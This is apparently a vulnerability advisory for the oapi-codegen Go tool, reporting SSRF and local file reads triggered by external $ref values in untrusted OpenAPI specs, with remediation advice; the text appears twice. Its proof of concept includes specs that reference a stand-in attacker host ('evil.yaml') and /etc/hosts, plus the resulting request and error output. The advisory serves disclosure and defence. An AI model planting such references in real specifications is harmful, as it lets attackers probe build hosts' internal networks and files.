Server-Side Request Forgery and local file read when generating code from an untrusted OpenAPI specification
Summary
oapi-codegen resolves external $ref values in an OpenAPI specification at code-generation time with remote references unconditionally enabled and no scheme allowlist, local-only gate, or opt-out. When a developer runs oapi-codegen (directly, through go:generate, or in CI) against a specification authored by someone else, a $ref that points at an http(s) URL causes the tool to issue an outbound HTTP request to that host, and a $ref that points at a local path causes the tool to open and read that file. This is a Server-Side Request Forgery (SSRF) and local file read primitive that fires purely from the contents of the input specification, before any developer-controlled option (such as import-mapping) is consulted.
The realistic threat model is a developer or CI pipeline generating code from a third-party specification: a public API's published spec, a vendor-supplied spec, or a specification submitted in a pull request that CI processes automatically.
Affected component / versions
- Component:
github.com/oapi-codegen/oapi-codegen/v2, spec loader pkg/util.
- Affected: all versions up to and including the current
main at commit b45ce6270ea49a2c6db6e75f52b3e97b7bf24931.
- Verified against: HEAD
b45ce6270ea49a2c6db6e75f52b3e97b7bf24931, dependency github.com/getkin/kin-openapi v0.148.0, Go 1.26.1.
Details
util.LoadSwagger builds a kin-openapi loader with external reference resolution turned on and no restriction on which references may be followed:
|
func LoadSwagger(filePath string) (swagger *openapi3.T, err error) { |
|
|
|
loader := openapi3.NewLoader() |
|
loader.IsExternalRefsAllowed = true |
|
// Record each element's source location so route registration can be |
|
// emitted in the order paths are declared in the spec (issue #1887). |
|
loader.IncludeOrigin = true |
|
|
|
u, err := url.Parse(filePath) |
|
if err == nil && u.Scheme != "" && u.Host != "" { |
|
return loader.LoadFromURI(u) |
|
} else { |
|
return loader.LoadFromFile(filePath) |
|
} |
|
} |
The same unconditional setting is repeated in util.LoadSwaggerWithOverlay:
|
loader := openapi3.NewLoader() |
|
loader.IsExternalRefsAllowed = true |
|
loader.IncludeOrigin = true |
LoadSwaggerWithOverlay is the function the command-line entry point calls on the user-supplied specification argument:
|
overlayOpts := util.LoadSwaggerWithOverlayOpts{ |
|
Path: opts.OutputOptions.Overlay.Path, |
|
// default to strict, but can be overridden |
|
Strict: true, |
|
} |
|
|
|
if opts.OutputOptions.Overlay.Strict != nil { |
|
overlayOpts.Strict = *opts.OutputOptions.Overlay.Strict |
|
} |
|
|
|
swagger, err := util.LoadSwaggerWithOverlay(flag.Arg(0), overlayOpts) |
|
if err != nil { |
With IsExternalRefsAllowed = true and no custom ReadFromURIFunc, kin-openapi walks the document and eagerly resolves every external $ref during LoadFromFile / LoadFromDataWithPath. For an http(s) reference it performs an HTTP GET through the default HTTP client. For a local path reference it calls os.ReadFile on the referenced path, including absolute paths and paths that traverse outside the specification directory.
This resolution happens as part of loading the document, independent of import-mapping. import-mapping is only consulted later, when a resolved external reference must be turned into a Go type. As a result the outbound request and the file read occur even when the run ultimately fails with the "unrecognized external reference" error, and even when the attacker controls only the specification and none of the tool's options.
Impact
An attacker who can get a developer or CI pipeline to run oapi-codegen against a specification of the attacker's choosing can:
- Cause the code-generation host to issue HTTP requests to arbitrary hosts and ports, including internal-only services, cloud instance metadata endpoints, and other resources reachable from the build environment (SSRF). The attacker controls the target URL and observes reachability through the tool's behavior and error output.
- Cause the host to open and read arbitrary local files by absolute path or by relative-path traversal outside the specification directory, and distinguish existing readable files from missing ones through the differing error messages (a local file existence and read oracle).
There is no availability or integrity impact demonstrated, and raw file contents do not by themselves flow into the generated output from an attacker-only specification, so confidentiality impact is limited to internal-network reachability and filesystem probing rather than bulk data exfiltration.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base score 4.3 (Medium).
The vector reflects that the malicious specification is delivered to the victim and processed on their build host (UI:R), the attacker needs no privileges and no local access (PR:N), and the resulting impact is limited-confidentiality SSRF and file probing (C:L).
Proof of concept
Built from a clean checkout at HEAD:
cd oapi-codegen
go build -o oapi-codegen-bin ./cmd/oapi-codegen
SSRF. Start a listener on 127.0.0.1:8199, then run the tool against a spec whose response schema references the attacker host:
openapi: "3.0.0"
info:
title: SSRF PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
'200':
description: ok
content:
application/json:
schema:
$ref: 'http://127.0.0.1:8199/evil.yaml#/components/schemas/Pwn'
components:
schemas:
Local:
type: string
./oapi-codegen-bin -package pwn -generate types ssrf-spec.yaml
The listener receives the outbound request that the tool made during load:
GET /evil.yaml HTTP/1.1
Host: 127.0.0.1:8199
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
Local file read and existence oracle. A spec with an absolute-path reference to a file outside the spec directory:
openapi: "3.0.0"
info:
title: t
version: "1.0.0"
paths: {}
components:
schemas:
W:
type: object
properties:
x:
$ref: "/etc/hosts#/nope"
./oapi-codegen-bin -package pwn -generate types abs-spec.yaml
error resolving reference "/etc/hosts#/nope": failed to unmarshal data: json error: invalid character '#' looking for beginning of value, yaml error: error unmarshaling JSON: while decoding JSON: json: cannot unmarshal string into Go value of type openapi3.TBis
The file was opened and read (parsing then failed on its contents). A reference to a nonexistent path returns a no such file or directory error naming that path instead, which distinguishes existing readable files from missing ones.
Negative control. A spec that uses only in-document references makes no outbound request and reads no external file:
openapi: "3.0.0"
info:
title: Negative Control
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
'200':
description: ok
content:
application/json:
schema:
$ref: '#/components/schemas/Local'
components:
schemas:
Local:
type: string
./oapi-codegen-bin -package pwn -generate types negative-spec.yaml
// Local defines model for Local.
type Local = string
Remediation
Do not resolve remote references by default when the top-level specification is a local file. Install a kin-openapi ReadFromURIFunc that reads local file references (so that the documented local-file import-mapping feature keeps working) but refuses references that resolve to a remote (http, https, or otherwise host-bearing) location unless the operator explicitly opts in. Continue to honor a top-level specification passed as an explicit remote URL, since that is the caller's own choice.
The accompanying fix.patch implements this: it adds an opt-in AllowRemoteRefs flag (default false) and a local-only reader, and wires it into both LoadSwagger and LoadSwaggerWithOverlay. After the patch, the SSRF specification above is refused with a refusing to resolve remote reference error and no request reaches the listener, while in-document references and local-file references still generate normally. Operators who intentionally split their own specification across remote URLs can set the opt-in.
Restricting local file reads to the specification directory would additionally address the file-read oracle, but is intentionally left conservative here because the documented import-mapping feature uses relative parent-directory references.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com).
Server-Side Request Forgery and local file read when generating code from an untrusted OpenAPI specification
Summary
oapi-codegenresolves external$refvalues in an OpenAPI specification at code-generation time with remote references unconditionally enabled and no scheme allowlist, local-only gate, or opt-out. When a developer runsoapi-codegen(directly, throughgo:generate, or in CI) against a specification authored by someone else, a$refthat points at anhttp(s)URL causes the tool to issue an outbound HTTP request to that host, and a$refthat points at a local path causes the tool to open and read that file. This is a Server-Side Request Forgery (SSRF) and local file read primitive that fires purely from the contents of the input specification, before any developer-controlled option (such asimport-mapping) is consulted.The realistic threat model is a developer or CI pipeline generating code from a third-party specification: a public API's published spec, a vendor-supplied spec, or a specification submitted in a pull request that CI processes automatically.
Affected component / versions
github.com/oapi-codegen/oapi-codegen/v2, spec loaderpkg/util.mainat commitb45ce6270ea49a2c6db6e75f52b3e97b7bf24931.b45ce6270ea49a2c6db6e75f52b3e97b7bf24931, dependencygithub.com/getkin/kin-openapi v0.148.0, Go 1.26.1.Details
util.LoadSwaggerbuilds akin-openapiloader with external reference resolution turned on and no restriction on which references may be followed:oapi-codegen/pkg/util/loader.go
Lines 15 to 29 in b45ce62
The same unconditional setting is repeated in
util.LoadSwaggerWithOverlay:oapi-codegen/pkg/util/loader.go
Lines 96 to 98 in b45ce62
LoadSwaggerWithOverlayis the function the command-line entry point calls on the user-supplied specification argument:oapi-codegen/cmd/oapi-codegen/oapi-codegen.go
Lines 311 to 322 in b45ce62
With
IsExternalRefsAllowed = trueand no customReadFromURIFunc,kin-openapiwalks the document and eagerly resolves every external$refduringLoadFromFile/LoadFromDataWithPath. For anhttp(s)reference it performs an HTTP GET through the default HTTP client. For a local path reference it callsos.ReadFileon the referenced path, including absolute paths and paths that traverse outside the specification directory.This resolution happens as part of loading the document, independent of
import-mapping.import-mappingis only consulted later, when a resolved external reference must be turned into a Go type. As a result the outbound request and the file read occur even when the run ultimately fails with the "unrecognized external reference" error, and even when the attacker controls only the specification and none of the tool's options.Impact
An attacker who can get a developer or CI pipeline to run
oapi-codegenagainst a specification of the attacker's choosing can:There is no availability or integrity impact demonstrated, and raw file contents do not by themselves flow into the generated output from an attacker-only specification, so confidentiality impact is limited to internal-network reachability and filesystem probing rather than bulk data exfiltration.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Base score 4.3 (Medium).
The vector reflects that the malicious specification is delivered to the victim and processed on their build host (
UI:R), the attacker needs no privileges and no local access (PR:N), and the resulting impact is limited-confidentiality SSRF and file probing (C:L).Proof of concept
Built from a clean checkout at HEAD:
SSRF. Start a listener on
127.0.0.1:8199, then run the tool against a spec whose response schema references the attacker host:The listener receives the outbound request that the tool made during load:
Local file read and existence oracle. A spec with an absolute-path reference to a file outside the spec directory:
The file was opened and read (parsing then failed on its contents). A reference to a nonexistent path returns a
no such file or directoryerror naming that path instead, which distinguishes existing readable files from missing ones.Negative control. A spec that uses only in-document references makes no outbound request and reads no external file:
Remediation
Do not resolve remote references by default when the top-level specification is a local file. Install a
kin-openapiReadFromURIFuncthat reads local file references (so that the documented local-fileimport-mappingfeature keeps working) but refuses references that resolve to a remote (http,https, or otherwise host-bearing) location unless the operator explicitly opts in. Continue to honor a top-level specification passed as an explicit remote URL, since that is the caller's own choice.The accompanying
fix.patchimplements this: it adds an opt-inAllowRemoteRefsflag (default false) and a local-only reader, and wires it into bothLoadSwaggerandLoadSwaggerWithOverlay. After the patch, the SSRF specification above is refused with arefusing to resolve remote referenceerror and no request reaches the listener, while in-document references and local-file references still generate normally. Operators who intentionally split their own specification across remote URLs can set the opt-in.Restricting local file reads to the specification directory would additionally address the file-read oracle, but is intentionally left conservative here because the documented
import-mappingfeature uses relative parent-directory references.Credit
Reported by tonghuaroot (tonghuaroot@gmail.com).